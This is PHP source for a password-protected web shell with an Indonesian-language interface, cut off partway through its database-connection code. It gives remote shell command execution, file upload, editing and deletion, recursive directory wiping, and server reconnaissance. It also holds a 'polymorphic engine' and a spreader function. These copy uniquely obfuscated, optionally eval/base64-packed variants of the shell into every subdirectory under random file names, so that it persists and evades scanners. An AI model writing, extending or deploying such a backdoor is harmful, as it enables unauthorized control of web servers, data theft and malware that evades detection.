<?php

$secret_pass = 'adminsekai';  // CHANGE THIS TO YOUR PASSWORD

// Configure session to last 8 hours (28800 seconds) instead of default
ini_set('session.gc_maxlifetime', 28800);
ini_set('session.cookie_lifetime', 28800);

session_start();

// Extend current session lifetime
$_SESSION['gc_maxlifetime'] = 28800;

header("Cache-Control: no-store, no-cache, must-revalidate, max-age=0");
header("Pragma: no-cache");
header("Expires: Sat, 26 Jul 1997 05:00:00 GMT");

// Password protection - only accept POST method
$is_ajax_request = isset($_SERVER['HTTP_X_REQUESTED_WITH']) && strtolower((string)$_SERVER['HTTP_X_REQUESTED_WITH']) === 'xmlhttprequest';

// Handle password authentication (POST only)
$posted_pass = isset($_POST['pass']) ? (string)$_POST['pass'] : '';
if ($posted_pass !== '' && hash_equals($secret_pass, $posted_pass)) {
    $was_authenticated = !empty($_SESSION['authenticated']);
    $_SESSION['authenticated'] = true;
    $_SESSION['pass'] = $posted_pass;
    if (!$was_authenticated) {
        session_regenerate_id(true);
    }
}

// Backfill session password for already-authenticated sessions created before POST-only flow
if (!empty($_SESSION['authenticated']) && !isset($_SESSION['pass'])) {
    $_SESSION['pass'] = $secret_pass;
}

// Check authentication
if (empty($_SESSION['authenticated'])) {
    if ($is_ajax_request) {
        http_response_code(401);
        die('SESSION_EXPIRED');
    }
    die('<form method="POST">Password: <input type="password" name="pass"><input type="submit"></form>');
}

// Persistent working directory
if (!isset($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd();
} else {
    chdir($_SESSION['cwd']);
}
$self_path = realpath(__FILE__);
if ($self_path === false) {
    $self_path = __FILE__;
}

function find_dir_by_name($base, $name, $max_depth = 5) {
    $queue = [[$base, 0]];
    while ($queue) {
        $current = array_shift($queue);
        $dir = $current[0];
        $depth = $current[1];
        if ($depth > $max_depth) continue;
        $items = @scandir($dir);
        if ($items === false) continue;
        foreach ($items as $item) {
            if ($item === '.' || $item === '..') continue;
            $path = $dir . DIRECTORY_SEPARATOR . $item;
            if (is_dir($path)) {
                if ($item === $name) return $path;
                if (!is_link($path)) {
                    $queue[] = [$path, $depth + 1];
                }
            }
        }
    }
    return null;
}

// Handle directory change via POST (no password in URL)
if (isset($_POST['cd'])) {
    $newdir = $_POST['cd'];
    if (chdir($newdir)) {
        $_SESSION['cwd'] = getcwd();
        if ($is_ajax_request) {
            die('SUCCESS');
        }
        header("Location: ?");
        exit;
    } else {
        $dir_name_only = strpos($newdir, '/') === false && strpos($newdir, '\\') === false;
        if ($dir_name_only && $newdir !== '') {
            $found = find_dir_by_name($_SESSION['cwd'], $newdir, 6);
            if ($found !== null && chdir($found)) {
                $_SESSION['cwd'] = getcwd();
                if ($is_ajax_request) {
                    die('SUCCESS');
                }
                header("Location: ?");
                exit;
            }
        }
        if ($is_ajax_request) {
            die('ERROR: Cannot change to ' . $newdir);
        }
        $cd_error = "Cannot change to $newdir";
    }
}

// ========================================================
// Real-time command execution (unchanged)
// ========================================================
function realtime_exec($cmd) {
    set_time_limit(0);
    ob_implicit_flush(true);
    ob_end_flush();

    header("Cache-Control: no-store, no-cache, must-revalidate, max-age=0");
    header("Pragma: no-cache");
    header("Expires: Sat, 26 Jul 1997 05:00:00 GMT");

    $descriptors = [
        0 => ['pipe', 'r'],
        1 => ['pipe', 'w'],
        2 => ['pipe', 'w']
    ];

    $process = proc_open($cmd, $descriptors, $pipes, $_SESSION['cwd']);
    if (is_resource($process)) {
        fclose($pipes[0]);
        while ($line = fgets($pipes[1])) {
            echo htmlspecialchars($line);
            flush();
        }
        while ($line = fgets($pipes[2])) {
            echo '<span class="error">' . htmlspecialchars($line) . '</span>';
            flush();
        }
        fclose($pipes[1]);
        fclose($pipes[2]);
        proc_close($process);
    } else {
        echo "Failed to execute command.";
    }
}

function ini_bytes($val) {
    $val = trim((string)$val);
    if ($val === '') return 0;
    $last = strtolower($val[strlen($val) - 1]);
    $num = (float)$val;
    if ($last === 'g') return (int)($num * 1024 * 1024 * 1024);
    if ($last === 'm') return (int)($num * 1024 * 1024);
    if ($last === 'k') return (int)($num * 1024);
    return (int)$num;
}

function js_escape($str) {
    $str = str_replace("\\", "\\\\", $str);
    $str = str_replace("'", "\\'", $str);
    return $str;
}

function sanitize_local_name($name) {
    $name = str_replace(["\\", "/", "\0"], '', (string)$name);
    return basename(trim($name));
}

function format_bytes_php($bytes, $precision = 2) {
    if (!is_numeric($bytes) || $bytes < 0) return 'Unknown';
    $bytes = (float)$bytes;
    if ($bytes === 0.0) return '0 Bytes';
    $units = ['Bytes', 'KB', 'MB', 'GB', 'TB', 'PB'];
    $pow = (int)floor(log($bytes, 1024));
    $pow = max(0, min($pow, count($units) - 1));
    $value = $bytes / pow(1024, $pow);
    return round($value, $precision) . ' ' . $units[$pow];
}

function get_command_output($command) {
    if (!function_exists('shell_exec')) return null;
    $disabled = array_map('trim', explode(',', (string)ini_get('disable_functions')));
    if (in_array('shell_exec', $disabled, true)) return null;
    $result = @shell_exec($command);
    if (!is_string($result)) return null;
    $result = trim($result);
    return $result === '' ? null : $result;
}

function get_server_os_info() {
    return [
        'family' => defined('PHP_OS_FAMILY') ? PHP_OS_FAMILY : PHP_OS,
        'name' => php_uname('s'),
        'release' => php_uname('r'),
        'machine' => php_uname('m'),
    ];
}

function get_cpu_info() {
    $family = defined('PHP_OS_FAMILY') ? PHP_OS_FAMILY : PHP_OS;
    $model = 'Unknown';
    $cores = null;
    $load = null;

    if ($family === 'Windows') {
        $env_cores = getenv('NUMBER_OF_PROCESSORS');
        if ($env_cores !== false && ctype_digit((string)$env_cores)) {
            $cores = (int)$env_cores;
        }
        $wmic = get_command_output('wmic cpu get Name /value 2>NUL');
        if ($wmic && preg_match('/Name=(.+)/i', $wmic, $m)) {
            $model = trim($m[1]);
        }
    } elseif ($family === 'Linux') {
        if (is_readable('/proc/cpuinfo')) {
            $cpuinfo = @file('/proc/cpuinfo', FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
            if (is_array($cpuinfo)) {
                $processor_count = 0;
                foreach ($cpuinfo as $line) {
                    if ($model === 'Unknown' && stripos($line, 'model name') === 0) {
                        $parts = explode(':', $line, 2);
                        if (isset($parts[1])) $model = trim($parts[1]);
                    }
                    if (preg_match('/^processor\s*:/i', $line)) {
                        $processor_count++;
                    }
                }
                if ($processor_count > 0) $cores = $processor_count;
            }
        }
        if ($cores === null) {
            $nproc = get_command_output('nproc 2>/dev/null');
            if ($nproc !== null && ctype_digit($nproc)) {
                $cores = (int)$nproc;
            }
        }
    } else {
        $brand = get_command_output('sysctl -n machdep.cpu.brand_string 2>/dev/null');
        if ($brand !== null) {
            $model = $brand;
        }
        $cpu_count = get_command_output('sysctl -n hw.ncpu 2>/dev/null');
        if ($cpu_count !== null && ctype_digit($cpu_count)) {
            $cores = (int)$cpu_count;
        }
    }

    if ($family !== 'Windows' && function_exists('sys_getloadavg')) {
        $loads = @sys_getloadavg();
        if (is_array($loads) && isset($loads[0], $loads[1], $loads[2])) {
            $load = implode(' / ', array_map(function ($value) {
                return number_format((float)$value, 2);
            }, $loads));
        }
    }

    return [
        'model' => $model,
        'cores' => $cores,
        'load' => $load,
    ];
}

function get_memory_info() {
    $family = defined('PHP_OS_FAMILY') ? PHP_OS_FAMILY : PHP_OS;
    $total = null;
    $available = null;

    if ($family === 'Linux' && is_readable('/proc/meminfo')) {
        $meminfo = @file_get_contents('/proc/meminfo');
        if ($meminfo !== false) {
            if (preg_match('/^MemTotal:\s+(\d+)\s+kB/im', $meminfo, $m)) {
                $total = (int)$m[1] * 1024;
            }
            if (preg_match('/^MemAvailable:\s+(\d+)\s+kB/im', $meminfo, $m)) {
                $available = (int)$m[1] * 1024;
            } elseif (preg_match('/^MemFree:\s+(\d+)\s+kB/im', $meminfo, $free)) {
                $available = (int)$free[1] * 1024;
            }
        }
    } elseif ($family === 'Windows') {
        $wmic = get_command_output('wmic OS get TotalVisibleMemorySize,FreePhysicalMemory /value 2>NUL');
        if ($wmic) {
            if (preg_match('/TotalVisibleMemorySize=(\d+)/i', $wmic, $m)) {
                $total = (int)$m[1] * 1024;
            }
            if (preg_match('/FreePhysicalMemory=(\d+)/i', $wmic, $m)) {
                $available = (int)$m[1] * 1024;
            }
        }
    } else {
        $memsize = get_command_output('sysctl -n hw.memsize 2>/dev/null');
        if ($memsize !== null && ctype_digit($memsize)) {
            $total = (int)$memsize;
        }
        $vmstat = get_command_output('vm_stat 2>/dev/null');
        if ($vmstat && preg_match('/page size of (\d+) bytes/i', $vmstat, $page_match)) {
            $page_size = (int)$page_match[1];
            $pages = 0;
            if (preg_match('/Pages free:\s+(\d+)\./i', $vmstat, $m)) $pages += (int)$m[1];
            if (preg_match('/Pages inactive:\s+(\d+)\./i', $vmstat, $m)) $pages += (int)$m[1];
            if (preg_match('/Pages speculative:\s+(\d+)\./i', $vmstat, $m)) $pages += (int)$m[1];
            if ($pages > 0) $available = $pages * $page_size;
        }
    }

    $used = null;
    $percent = null;
    if ($total !== null && $available !== null) {
        $used = max(0, $total - $available);
        if ($total > 0) {
            $percent = round(($used / $total) * 100, 1);
        }
    }

    return [
        'total' => $total,
        'available' => $available,
        'used' => $used,
        'percent' => $percent,
    ];
}

function get_storage_info($path) {
    $total = @disk_total_space($path);
    $free = @disk_free_space($path);
    if ($total === false) $total = null;
    if ($free === false) $free = null;

    $used = null;
    $percent = null;
    if ($total !== null && $free !== null) {
        $used = max(0, $total - $free);
        if ($total > 0) {
            $percent = round(($used / $total) * 100, 1);
        }
    }

    return [
        'path' => $path,
        'total' => $total,
        'free' => $free,
        'used' => $used,
        'percent' => $percent,
    ];
}

// ========================================================
// ADVANCED POLYMORPHIC ENGINE – makes every child unique
// ========================================================

/**
 * Obfuscate a string with a random method
 */
function obfuscate_string($str) {
    $methods = ['base64', 'rot13', 'hex', 'reverse'];
    $m = $methods[array_rand($methods)];
    switch ($m) {
        case 'base64':
            $enc = base64_encode($str);
            return "base64_decode('$enc')";
        case 'rot13':
            $enc = str_rot13($str);
            return "str_rot13('$enc')";
        case 'hex':
            $hex = bin2hex($str);
            return "hex2bin('$hex')";
        case 'reverse':
            $rev = strrev($str);
            return "strrev('$rev')";
    }
}

/**
 * Recursively rename variables inside a function body (simple scope‑aware)
 * This is a simplified version – for real production a tokenizer would be better.
 */
function rename_variables_in_code($code, &$name_map) {
    // Find all $variable names (including $this and static:: are ignored)
    return preg_replace_callback('/\$([a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*)/', function($m) use (&$name_map) {
        $var = $m[1];
        // Skip superglobals
        if (in_array($var, ['GLOBALS', '_SERVER', '_GET', '_POST', '_FILES', '_COOKIE', '_SESSION', '_REQUEST', '_ENV'])) {
            return $m[0];
        }
        if (!isset($name_map[$var])) {
            $name_map[$var] = 'v' . bin2hex(random_bytes(4));
        }
        return '$' . $name_map[$var];
    }, $code);
}

/**
 * Generate a heavily obfuscated variant of the original source.
 */
function generate_variant($source) {
    // ------------------------------------------------------------
    // Step 1: Randomly decide to use eval() wrapping for critical parts
    // This makes the code non‑trivial to parse statically.
    // ------------------------------------------------------------
    $use_eval_wrapper = (rand(0, 2) == 0); // 1/3 chance

    // ------------------------------------------------------------
    // Step 2: Isolate the main logic (everything after the opening PHP tag)
    // We'll keep the opening tag and the password check, but heavily obfuscate.
    // ------------------------------------------------------------
    // For simplicity, we treat the whole file as one block.
    // We'll remove the original <?php tag and later add a new one.
    $source = preg_replace('/^<\?php/', '', $source);

    // ------------------------------------------------------------
    // Step 3: Obfuscate all string literals that look like passwords or keys
    // We'll replace literal strings with obfuscated code.
    // ------------------------------------------------------------
    $strings_to_obfuscate = [
        "'adminsekai'", 
        "'authenticated'", 
        "'cwd'", 
        "'pass'",
        "'realtime_exec'",
        "'spread_shell'",
        "'generate_variant'",
        "'db_cfg'",
        "'mysql'",
        "'pgsql'"
    ];
    foreach ($strings_to_obfuscate as $str) {
        $obf = obfuscate_string(trim($str, "'"));
        $source = str_replace($str, $obf, $source);
    }

    $func_map = [];
    $var_map = [];

    // Find all function definitions
    preg_match_all('/function\s+(&?\s*)([a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*)\s*\(/', $source, $func_matches);
    foreach ($func_matches[2] as $fname) {
        if (!isset($func_map[$fname])) {
            $func_map[$fname] = 'f' . bin2hex(random_bytes(4));
        }
    }

    // Rename function calls and definitions
    foreach ($func_map as $old => $new) {
        // Replace function definition
        $source = preg_replace('/function\s+(' . preg_quote($old) . ')\s*\(/', 'function ' . $new . '(', $source);
        // Replace function calls (old_name( -> new_name()
        $source = str_replace($old . '(', $new . '(', $source);
    }

    // Rename variables (careful with superglobals)
    $source = rename_variables_in_code($source, $var_map);

    // ------------------------------------------------------------
    // Step 5: Inject junk code at random positions
    // ------------------------------------------------------------
    $junk_blocks = [
        'if(rand(0,1)){$x=123;$y=456;$z=$x+$y;unset($x,$y,$z);}',
        'for($i=0;$i<rand(1,5);$i++){/* nop */}',
        '$dummy="junk".bin2hex(random_bytes(2));strlen($dummy);',
        'function junk' . rand(100,999) . '(){return false;};',
        '// ' . bin2hex(random_bytes(16)),
        '/* ' . base64_encode(random_bytes(20)) . ' */',
    ];

    // Insert a few junk blocks at random places (after some semicolons)
    $source_parts = explode(';', $source);
    $num_parts = count($source_parts);
    for ($i = 0; $i < rand(3, 7); $i++) {
        $pos = rand(1, $num_parts - 2);
        $junk = $junk_blocks[array_rand($junk_blocks)] . ';';
        array_splice($source_parts, $pos, 0, $junk);
        $num_parts++;
    }
    $source = implode(';', $source_parts);

    // ------------------------------------------------------------
    // Step 6: Randomize whitespace and add misleading formatting
    // ------------------------------------------------------------
    $source = preg_replace('/ {2,}/', str_repeat(' ', rand(1, 4)), $source);
    if (rand(0,1)) {
        $source = str_replace("\t", '    ', $source);
    } else {
        $source = preg_replace('/^    /m', "\t", $source);
    }
    // Add random blank lines
    $source = preg_replace('/\n/', "\n" . str_repeat("\n", rand(0, 2)), $source);

    // ------------------------------------------------------------
    // Step 7: Optionally wrap the whole code in an eval with base64
    // This makes the file look like a tiny loader, hiding the real code.
    // ------------------------------------------------------------
    if ($use_eval_wrapper) {
        $encoded = base64_encode(gzcompress($source, 9));
        $source = '<?php' . "\n" . 'eval(gzuncompress(base64_decode("' . $encoded . '")));';
    } else {
        $source = '<?php' . "\n" . $source;
    }

    return $source;
}

// ========================================================
// Enhanced spreader – uses the polymorphic engine
// ========================================================
function spread_shell($recursive = false, $target_dir = null) {
    $source = __FILE__;
    $current_dir = $target_dir ?: $_SESSION['cwd'];
    $results = [];

    $original_code = file_get_contents($source);
    if ($original_code === false) {
        return ["❌ Failed to read source file."];
    }

    $items = scandir($current_dir);
    foreach ($items as $item) {
        if ($item == '.' || $item == '..') continue;
        $full_path = $current_dir . DIRECTORY_SEPARATOR . $item;
        if (is_dir($full_path)) {
            // Generate random filename (8-20 alphanumeric)
            $length = rand(8, 20);
            $random_name = '';
            $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
            $max = strlen($chars) - 1;
            for ($i = 0; $i < $length; $i++) {
                $random_name .= $chars[rand(0, $max)];
            }
            $random_name .= '.php';

            $target_file = $full_path . DIRECTORY_SEPARATOR . $random_name;

            // Generate a UNIQUE heavily obfuscated variant
            $variant_code = generate_variant($original_code);

            if (file_put_contents($target_file, $variant_code) !== false) {
                $results[] = "✅ Created: " . htmlspecialchars($target_file) . " (polymorphic)";
            } else {
                $results[] = "❌ Failed: " . htmlspecialchars($target_file);
            }

            if ($recursive) {
                $results = array_merge($results, spread_shell(true, $full_path));
            }
        }
    }
    return $results;
}
// ========================================================
// Handle actions
// ========================================================
$output = '';
$action_result = '';
$editor_html = '';
$db_msg = '';
$db_result_html = '';
$db_tables = [];
$db_connected = false;
$db_cfg = isset($_SESSION['db_cfg']) ? $_SESSION['db_cfg'] : null;
$max_upload = ini_get('upload_max_filesize');
$max_post = ini_get('post_max_size');
$max_upload_bytes = ini_bytes($max_upload);
$max_post_bytes = ini_bytes($max_post);
$effective_upload_bytes = 0;
if ($max_upload_bytes > 0 && $max_post_bytes > 0) {
    $effective_upload_bytes = min($max_upload_bytes, $max_post_bytes);
} elseif ($max_upload_bytes > 0) {
    $effective_upload_bytes = $max_upload_bytes;
} elseif ($max_post_bytes > 0) {
    $effective_upload_bytes = $max_post_bytes;
}
$request_too_large_msg = '';
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $content_length = isset($_SERVER['CONTENT_LENGTH']) ? (int)$_SERVER['CONTENT_LENGTH'] : 0;
    if ($max_post_bytes > 0 && $content_length > $max_post_bytes) {
        $request_too_large_msg = "<p class='error'>❌ Request too large. post_max_size={$max_post}.</p>";
    }
}
$server_os = get_server_os_info();
$cpu_info = get_cpu_info();
$memory_info = get_memory_info();
$storage_info = get_storage_info($cwd);
$active_tab = 'terminal';
if (isset($_GET['edit']) || isset($_GET['view']) || isset($_FILES['upload']) || isset($_POST['new_file_create']) || isset($_POST['bulk_delete']) || isset($_GET['download']) || isset($_GET['delete'])) {
    $active_tab = 'files';
} elseif (isset($_POST['db_connect']) || isset($_POST['db_disconnect']) || isset($_POST['db_run_sql']) || isset($_GET['db_table'])) {
    $active_tab = 'database';
} elseif (isset($_POST['cd']) || isset($_POST['spread'])) {
    $active_tab = 'tools';
}
if (isset($_GET['tab']) && in_array($_GET['tab'], ['terminal', 'files', 'database', 'tools'], true)) {
    $active_tab = $_GET['tab'];
}

// Command execution
if (isset($_POST['cmd'])) {
    $cmd = $_POST['cmd'];
    if (isset($_POST['realtime']) && $_POST['realtime'] == '1') {
        // realtime_exec() already sends headers, but we need to ensure no extra output before it
        realtime_exec($cmd);
        exit;
    } else {
        $output = "<pre>" . htmlspecialchars(shell_exec($cmd)) . "</pre>";
    }
}

// File upload
if (isset($_FILES['upload'])) {
    if ($request_too_large_msg !== '') {
        $action_result = $request_too_large_msg;
    } else {
        $file = $_FILES['upload'];
        $error = isset($file['error']) ? $file['error'] : UPLOAD_ERR_NO_FILE;
        if ($error !== UPLOAD_ERR_OK) {
            $err_map = [
                UPLOAD_ERR_INI_SIZE => "File exceeds upload_max_filesize ({$max_upload}).",
                UPLOAD_ERR_FORM_SIZE => "File exceeds MAX_FILE_SIZE.",
                UPLOAD_ERR_PARTIAL => "File only partially uploaded.",
                UPLOAD_ERR_NO_FILE => "No file uploaded.",
                UPLOAD_ERR_NO_TMP_DIR => "Missing temporary folder.",
                UPLOAD_ERR_CANT_WRITE => "Failed to write file to disk.",
                UPLOAD_ERR_EXTENSION => "Upload stopped by extension.",
            ];
            $msg = isset($err_map[$error]) ? $err_map[$error] : "Upload error.";
            $action_result = "<p class='error'>❌ {$msg}</p>";
        } else {
            $orig = basename($file['name']);
            $diru = $_SESSION['cwd'];
            if (!is_dir($diru) || !is_writable($diru)) {
                $action_result = "<p class='error'>❌ Upload failed. Target directory not writable.</p>";
            } elseif (!is_uploaded_file($file['tmp_name'])) {
                $action_result = "<p class='error'>❌ Upload failed. Temporary upload not found.</p>";
            } elseif (isset($file['size']) && (int)$file['size'] === 0) {
                $action_result = "<p class='error'>❌ Upload failed. File size is 0 bytes.</p>";
            } else {
                $rename = isset($_POST['upload_name']) ? trim($_POST['upload_name']) : '';
                $final = $orig;
                if ($rename !== '') {
                    $rename = str_replace(["\\", "/", "\0"], '', $rename);
                    $rename = trim($rename);
                    $rename = basename($rename);
                    if ($rename !== '') {
                        $final = $rename;
                        if (strpos($final, '.') === false) {
                            $ext = pathinfo($orig, PATHINFO_EXTENSION);
                            if ($ext !== '') $final .= '.' . $ext;
                        }
                    }
                }
                $final = preg_replace('/[^\w.\- ]+/u', '_', $final);
                $target = $diru . DIRECTORY_SEPARATOR . $final;
                if (file_exists($target)) {
                    $n = pathinfo($final, PATHINFO_FILENAME);
                    $e = pathinfo($final, PATHINFO_EXTENSION);
                    $i = 1;
                    do {
                        $cand = $n . '-' . $i . ($e !== '' ? '.' . $e : '');
                        $target = $diru . DIRECTORY_SEPARATOR . $cand;
                        $i++;
                    } while (file_exists($target) && $i < 1000);
                }
                if (move_uploaded_file($file['tmp_name'], $target)) {
                    $action_result = "<p class='success'>✅ Uploaded: " . htmlspecialchars(basename($target)) . "</p>";
                } else {
                    $action_result = "<p class='error'>❌ Upload failed.</p>";
                }
            }
        }
    }
}

// File download
if (isset($_GET['download'])) {
    $download_name = sanitize_local_name($_GET['download']);
    $file = $_SESSION['cwd'] . DIRECTORY_SEPARATOR . $download_name;
    if (file_exists($file) && is_file($file)) {
        header('Content-Description: File Transfer');
        header('Content-Type: application/octet-stream');
        header('Content-Disposition: attachment; filename="'.basename($file).'"');
        header('Expires: 0');
        header('Cache-Control: must-revalidate');
        header('Pragma: public');
        header('Content-Length: ' . filesize($file));
        readfile($file);
        exit;
    }
}

// File delete
if (isset($_GET['delete'])) {
    $delete_name = sanitize_local_name($_GET['delete']);
    $file = $_SESSION['cwd'] . DIRECTORY_SEPARATOR . $delete_name;
    if (file_exists($file) && is_file($file)) {
        if (unlink($file)) {
            $action_result = "<p class='success'>✅ Deleted: " . htmlspecialchars($delete_name) . "</p>";
        } else {
            $action_result = "<p class='error'>❌ Delete failed.</p>";
        }
    }
}

if (isset($_POST['file_name']) && isset($_POST['file_content'])) {
    $safe_file_name = sanitize_local_name($_POST['file_name']);
    $file = $_SESSION['cwd'] . DIRECTORY_SEPARATOR . $safe_file_name;
    if (file_exists($file) && is_file($file)) {
        if (file_put_contents($file, $_POST['file_content']) !== false) {
            $action_result = "<p class='success'>✅ Saved: " . htmlspecialchars($safe_file_name) . "</p>";
        } else {
            $action_result = "<p class='error'>❌ Save failed.</p>";
        }
    } else {
        $action_result = "<p class='error'>❌ File not found.</p>";
    }
}

if (isset($_POST['new_file_create']) && isset($_POST['new_file_name'])) {
    $name = trim($_POST['new_file_name']);
    $name = str_replace(["\\", "/", "\0"], '', $name);
    $name = basename($name);
    $name = preg_replace('/[^\w.\- ]+/u', '_', $name);
    if ($name === '' || $name === '.' || $name === '..') {
        $action_result = "<p class='error'>❌ Nama file tidak valid.</p>";
    } else {
        $base = $name;
        $target = $_SESSION['cwd'] . DIRECTORY_SEPARATOR . $base;
        if (file_exists($target)) {
            $n = pathinfo($base, PATHINFO_FILENAME);
            $e = pathinfo($base, PATHINFO_EXTENSION);
            $i = 1;
            do {
                $cand = $n . '-' . $i . ($e !== '' ? '.' . $e : '');
                $target = $_SESSION['cwd'] . DIRECTORY_SEPARATOR . $cand;
                $i++;
            } while (file_exists($target) && $i < 1000);
        }
        $content = isset($_POST['new_file_content']) ? $_POST['new_file_content'] : '';
        if (file_put_contents($target, $content) !== false) {
            $created = basename($target);
            header("Location: ?edit=" . urlencode($created));
            exit;
        } else {
            $action_result = "<p class='error'>❌ Gagal membuat file.</p>";
        }
    }
}

if (isset($_GET['view']) || isset($_GET['edit'])) {
    $target_name = isset($_GET['view']) ? sanitize_local_name($_GET['view']) : sanitize_local_name($_GET['edit']);
    $file = $_SESSION['cwd'] . DIRECTORY_SEPARATOR . $target_name;
    if (file_exists($file) && is_file($file)) {
        $content = file_get_contents($file);
        if ($content === false) {
            $editor_html = "<p class='error'>❌ Failed to read file.</p>";
        } else {
            $readonly = isset($_GET['view']) ? 'readonly' : '';
            $button = isset($_GET['view']) ? '' : "<input type=\"submit\" name=\"save_file\" value=\"Save\">";
            $escaped = htmlspecialchars($content);
            $file_extension = pathinfo($target_name, PATHINFO_EXTENSION);
            $language = get_language_from_extension($file_extension);
            
            $editor_html = "<div class=\"box editor-box\"><h3>📝 " . (isset($_GET['view']) ? "View" : "Edit") . " File</h3><form method=\"post\"><input type=\"hidden\" name=\"file_name\" value=\"" . htmlspecialchars($target_name) . "\"><div class=\"editor-controls\"><div class=\"file-info\"><span class=\"file-name\">" . htmlspecialchars(basename($target_name)) . "</span><span class=\"file-lang\">" . $language . "</span></div><div class=\"editor-actions-top\"><button type=\"button\" onclick=\"toggleWordWrap()\" class=\"btn-secondary\" title=\"Toggle Word Wrap\"><i class=\"fas fa-exchange-alt\"></i></button><button type=\"button\" onclick=\"formatCode()\" class=\"btn-secondary\" title=\"Format Code\"><i class=\"fas fa-magic\"></i></button><button type=\"button\" onclick=\"toggleFullscreen()\" class=\"btn-secondary\" title=\"Fullscreen\"><i class=\"fas fa-expand\"></i></button></div></div><div class=\"editor-grid\"><div class=\"code-pane\"><div class=\"pane-title\">Preview <span class=\"preview-sync\">(Live Preview)</span></div><pre id=\"code_preview\" class=\"code-view language-\" . $language . \"\"><code id=\"preview_code\" class=\"language-\" . $language . \"\">" . $escaped . "</code></pre></div><div class=\"code-pane\"><div class=\"pane-title\">Editor</div><textarea id=\"code_editor\" name=\"file_content\" class=\"code-editor\" rows=\"24\" data-language=\"" . $language . "\" $readonly>" . $escaped . "</textarea></div></div><div class=\"editor-actions\">$button</div></form><script>var e=document.getElementById('code_editor');var p=document.getElementById('preview_code');if(e&&p){function updatePreview(){p.textContent=e.value;if(window.Prism){Prism.highlightElement(p);}}e.addEventListener('input',updatePreview);e.addEventListener('scroll',function(){p.scrollTop=e.scrollTop;p.scrollLeft=e.scrollLeft;});updatePreview();}function toggleWordWrap(){e.style.whiteSpace=e.style.whiteSpace==='nowrap'?'pre-wrap':'nowrap';}function formatCode(){if(e.value.trim()){var lines=e.value.split('\\n');for(var i=0;i<lines.length;i++){lines[i]=lines[i].replace(/^\\s+/,'').replace(/\\s+$/,'');if(lines[i].includes('{'))lines[i]+='\\n    ';if(lines[i].includes('}'))lines[i]='\\n'+lines[i];if(lines[i].includes(';'))lines[i]+='\\n';}e.value=lines.join('\\n').replace(/\\n\\s*\\n/g,'\\n');updatePreview();}}function toggleFullscreen(){document.querySelector('.editor-box').classList.toggle('fullscreen');}</script></div>";
        }
    } else {
        $editor_html = "<p class='error'>❌ File not found.</p>";
    }
}

// Get language for syntax highlighting
function get_language_from_extension($extension) {
    $languages = [
        'php' => 'php',
        'js' => 'javascript',
        'html' => 'html',
        'css' => 'css',
        'py' => 'python',
        'java' => 'java',
        'cpp' => 'cpp',
        'c' => 'c',
        'cs' => 'csharp',
        'rb' => 'ruby',
        'go' => 'go',
        'rs' => 'rust',
        'ts' => 'typescript',
        'json' => 'json',
        'xml' => 'xml',
        'sql' => 'sql',
        'sh' => 'bash',
        'bash' => 'bash',
        'yml' => 'yaml',
        'yaml' => 'yaml',
        'md' => 'markdown',
        'txt' => 'text',
        'ini' => 'ini',
        'conf' => 'apacheconf',
        'config' => 'apacheconf'
    ];
    return isset($languages[strtolower($extension)]) ? $languages[strtolower($extension)] : 'text';
}

// Bulk delete
function rrmdir_sekai($dir) {
    if (is_link($dir)) { return @unlink($dir); }
    if (!is_dir($dir)) { return @unlink($dir); }
    $items = scandir($dir);
    foreach ($items as $i) {
        if ($i === '.' || $i === '..') continue;
        $path = $dir . DIRECTORY_SEPARATOR . $i;
        if (is_dir($path) && !is_link($path)) {
            rrmdir_sekai($path);
        } else {
            @unlink($path);
        }
    }
    return @rmdir($dir);
}

if (isset($_POST['bulk_delete']) && isset($_POST['sel']) && is_array($_POST['sel'])) {
    $cwd_bulk = $_SESSION['cwd'];
    $allowed = array_flip(array_diff(scandir($cwd_bulk), ['.','..']));
    $log = [];
    foreach ($_POST['sel'] as $name) {
        $name = (string)$name;
        if ($name === '' || strpos($name, DIRECTORY_SEPARATOR) !== false || $name === '.' || $name === '..') {
            $log[] = "❌ Skip: " . htmlspecialchars($name) . " (invalid)";
            continue;
        }
        if (!isset($allowed[$name])) {
            $log[] = "❌ Skip: " . htmlspecialchars($name) . " (not in current dir)";
            continue;
        }
        $target = $cwd_bulk . DIRECTORY_SEPARATOR . $name;
        if (is_dir($target)) {
            $ok = rrmdir_sekai($target);
            $log[] = ($ok ? "✅" : "❌") . " Dir: " . htmlspecialchars($name);
        } else {
            $ok = @unlink($target);
            $log[] = ($ok ? "✅" : "❌") . " File: " . htmlspecialchars($name);
        }
    }
    $action_result .= "<div class='box'><h3>🧹 Bulk Delete</h3><pre>" . implode("\n", $log) . "</pre></div>";
}

// Spread action
if (isset($_POST['spread'])) {
    $recursive = isset($_POST['recursive']) ? true : false;
    $results = spread_shell($recursive);
    $action_result = "<h3>Spreader Results</h3><pre>" . implode("\n", $results) . "</pre>";
}

if ($action_result === '' && $request_too_large_msg !== '') {
    $action_result = $request_too_large_msg;
}

if (isset($_POST['db_disconnect'])) {
    unset($_SESSION['db_cfg']);
    $db_cfg = null;
    $db_msg = "<p>Terputus dari database</p>";
}

if (isset($_POST['db_connect'])) {
    $driver = isset($_POST['db_driver']) ? $_POST['db_driver'] : 'mysql';
    $host = isset($_POST['db_host']) ? trim($_POST['db_host']) : '127.0.0.1';
    $port = isset($_POST['db_port']) ? trim($_POST['db_port']) : '';
    $name = isset($_POST['db_name']) ? trim($_POST['db_name']) : '';
    $user = isset($_POST['db_user']) ? $_POST['db_user'] : '';
    $pass = isset($_POST['db_pass']) ? $_POST['db_pass'] : '';
    $dsn = '';
    if ($driver === 'mysql') {
        $p = $port !== '' ? $port : '3306';
        $dsn = "mysql:host=".$host.";port=".$p.";dbname=".$name;
    } elseif ($driver === 'pgsql') {
        $p = $port !== '' ? $port : '5432';
        $dsn = "pgsql:host=".$host.";port=".$p.";dbname=".$name;
    }
    try {
        $pdo = new PDO($dsn, $user, $pass, [PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION, PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC]);
        $_SESSION['db_cfg'] = ['driver'=>$driver,'host'=>$host,'port'=>$port,'name'=>$name,'user'=>$user,'pass'=>$pass];
        $db_cfg = $_SESSION['db_cfg'];
        $db_connected = true;
